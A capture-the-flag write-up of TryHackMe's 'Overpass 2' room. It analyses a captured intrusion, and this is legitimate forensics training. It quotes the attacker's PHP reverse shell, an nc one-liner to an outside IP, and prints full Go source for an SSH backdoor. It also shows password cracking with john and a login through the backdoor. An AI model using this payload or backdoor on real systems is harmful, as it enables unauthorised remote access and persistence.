Overpass 2 - TryHackMe
The room provides a .pcapng file, which we can look at with network protocol analyzer like wireshark

This group of http traffic looks interesting, and we can view each packet by right clicking and selecting Follow > HTTP Stream (we can filter with searches like tcp.stream eq 1)

It looks like the attacker uploaded their reverse shell to /development/upload.php as payload.php.
<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

By continuig to follow this stream, I can also see that the attacker defaced the page after getting on the box

Escalated to james (from www-data) with the password whenevernoteartinstant

Viewed .overpass? (I have no idea what the relevance of this file is)
www-data@overpass-production:/var/www/html/development/uploads$ cat .overpass
cat .overpass
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQH96?6G6C?@E62CE:?DE2?EQN.
Used their sudo access to view /etc/shadow

And went on to backdoor the box with the commands
git clone https://github.com/NinjaJc01/ssh-backdoor
cd ssh-backdoor
ssh-keygen
chmod +x backdoor
./backdoor -a 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
The room asks us to crack shadow with the fastrack wordlist, we can do this with john
┌──(kali㉿kali)-[~/Rooms/overpass-2]
└─$ john shadow --wordlist=/usr/share/wordlists/fasttrack.txt | tee shadow-cracked
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
secuirty3 (paradox)
secret12 (bee)
abcd123 (szymex)
1qaz2wsx (muirland)
4g 0:00:00:03 DONE (2023-02-02 19:54) 1.017g/s 56.48p/s 243.2c/s 243.2C/s 2003..starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ssh-backdoor code review
The actual backdoor is written in go and some build/setup scripts are provided (along with a built version)
main.go:
package main
import (
"crypto/sha512"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"os/exec"
"github.com/creack/pty"
"github.com/gliderlabs/ssh"
"github.com/integrii/flaggy"
gossh "golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
)
var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"
func main() {
var (
lport uint = 2222
lhost net.IP = net.ParseIP("0.0.0.0")
keyPath string = "id_rsa"
fingerprint string = "OpenSSH_8.2p1 Debian-4"
)
flaggy.UInt(&lport, "p", "port", "Local port to listen for SSH on")
flaggy.IP(&lhost, "i", "interface", "IP address for the interface to listen on")
flaggy.String(&keyPath, "k", "key", "Path to private key for SSH server")
flaggy.String(&fingerprint, "f", "fingerprint", "SSH Fingerprint, excluding the SSH-2.0- prefix")
flaggy.String(&hash, "a", "hash", "Hash for backdoor")
flaggy.Parse()
log.SetPrefix("SSH - ")
privKeyBytes, err := ioutil.ReadFile(keyPath)
if err != nil {
log.Panicln("Error reading privkey:\t", err.Error())
}
privateKey, err := gossh.ParsePrivateKey(privKeyBytes)
if err != nil {
log.Panicln("Error parsing privkey:\t", err.Error())
}
server := &ssh.Server{
Addr: fmt.Sprintf("%s:%v", lhost.String(), lport),
Handler: sshterminal,
Version: fingerprint,
PasswordHandler: passwordHandler,
}
server.AddHostKey(privateKey)
log.Println("Started SSH backdoor on", server.Addr)
log.Fatal(server.ListenAndServe())
}
func verifyPass(hash, salt, password string) bool {
resultHash := hashPassword(password, salt)
return resultHash == hash
}
func hashPassword(password string, salt string) string {
hash := sha512.Sum512([]byte(password + salt))
return fmt.Sprintf("%x", hash)
}
func sshHandler(s ssh.Session) {
command := s.RawCommand()
if command != "" {
s.Write(runCommand(command))
return
}
term := terminal.NewTerminal(s, "$ ")
for {
command, _ = term.ReadLine()
if command == "exit" {
return
}
term.Write(runCommand(command))
}
}
func sshterminal(s ssh.Session) {
cmd := exec.Command("/bin/bash", "-i")
ptyReq, _, isPty := s.Pty()
if isPty {
cmd.Env = append(cmd.Env, fmt.Sprintf("TERM=%s", ptyReq.Term))
f, err := pty.Start(cmd)
if err != nil {
panic(err)
}
go func() {
io.Copy(f, s) // stdin
}()
io.Copy(s, f) // stdout
cmd.Wait()
} else {
io.WriteString(s, "No PTY requested.\n")
s.Exit(1)
}
}
func runCommand(cmd string) []byte {
result := exec.Command("/bin/bash", "-c", cmd)
response, _ := result.CombinedOutput()
return response
}
func passwordHandler(_ ssh.Context, password string) bool {
return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}
First the default hash is set
var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"
Then the main function specifies flags (lport, lhost, the private key, finger print, and a hash) and sets an SSH server up.
These functions show that the hash = sha512(password+salt)
func verifyPass(hash, salt, password string) bool {
resultHash := hashPassword(password, salt)
return resultHash == hash
}
func hashPassword(password string, salt string) string {
hash := sha512.Sum512([]byte(password + salt))
return fmt.Sprintf("%x", hash)
}
And this function specifies the default salt
func passwordHandler(_ ssh.Context, password string) bool {
return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}
Knowing this, we can crack the attacker’s hash with john
┌──(kali㉿kali)-[~/Rooms/overpass-2]
└─$ john attacker-hash --wordlist=/usr/share/wordlists/rockyou.txt --format='dynamic=sha512($p.$s)' | tee attacker-hash-cracked
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic=sha512($p.$s) [128/128 SSE2 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
november16 (?)
1g 0:00:00:02 DONE (2023-02-02 20:25) 0.4587g/s 8477p/s 8477c/s 8477C/s yasmeen..nolan
Use the "--show --format=dynamic=sha512($p.$s)" options to display all of the cracked passwords reliably
Session completed.
getting on the box
We can use the backdoor to get on the box (-oHostKeyAlgorithms=+ssh-rsa has to do with legacy support)
┌──(kali㉿kali)-[~/Rooms/overpass-2]
└─$ ssh root@10.10.249.32 -p 2222 -oHostKeyAlgorithms=+ssh-rsa
The authenticity of host '[10.10.249.32]:2222 ([10.10.249.32]:2222)' can't be established.
RSA key fingerprint is SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.249.32]:2222' (RSA) to the list of known hosts.
root@10.10.249.32's password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
james@overpass-production:/home/james/ssh-backdoor$

We’re also given an SUID’d bash for easy privesc
james@overpass-production:/home/james$ ls -la
total 1276
drwxr-xr-x 7 james james 4096 Feb 3 02:16 .
drwxr-xr-x 7 root root 4096 Jul 21 2020 ..
lrwxrwxrwx 1 james james 9 Jul 21 2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 james james 3771 Apr 4 2018 .bashrc
drwx------ 2 james james 4096 Jul 21 2020 .cache
drwx------ 3 james james 4096 Feb 3 02:16 .gnupg
drwxrwxr-x 3 james james 4096 Jul 22 2020 .local
-rw------- 1 james james 51 Jul 21 2020 .overpass
-rw-r--r-- 1 james james 807 Apr 4 2018 .profile
-rw-r--r-- 1 james james 0 Jul 21 2020 .sudo_as_admin_successful
-rwsr-sr-x 1 root root 1113504 Jul 22 2020 .suid_bash
-rw-r--r-- 1 james james 140067 Feb 3 02:17 james-linpeas
drwxrwxr-x 3 james james 4096 Jul 22 2020 ssh-backdoor
-rw-rw-r-- 1 james james 38 Jul 22 2020 user.txt
drwxrwxr-x 7 james james 4096 Jul 21 2020 www

hindsight
- getting better with wireshark (or learning tshark) would get these pcap writeups made faster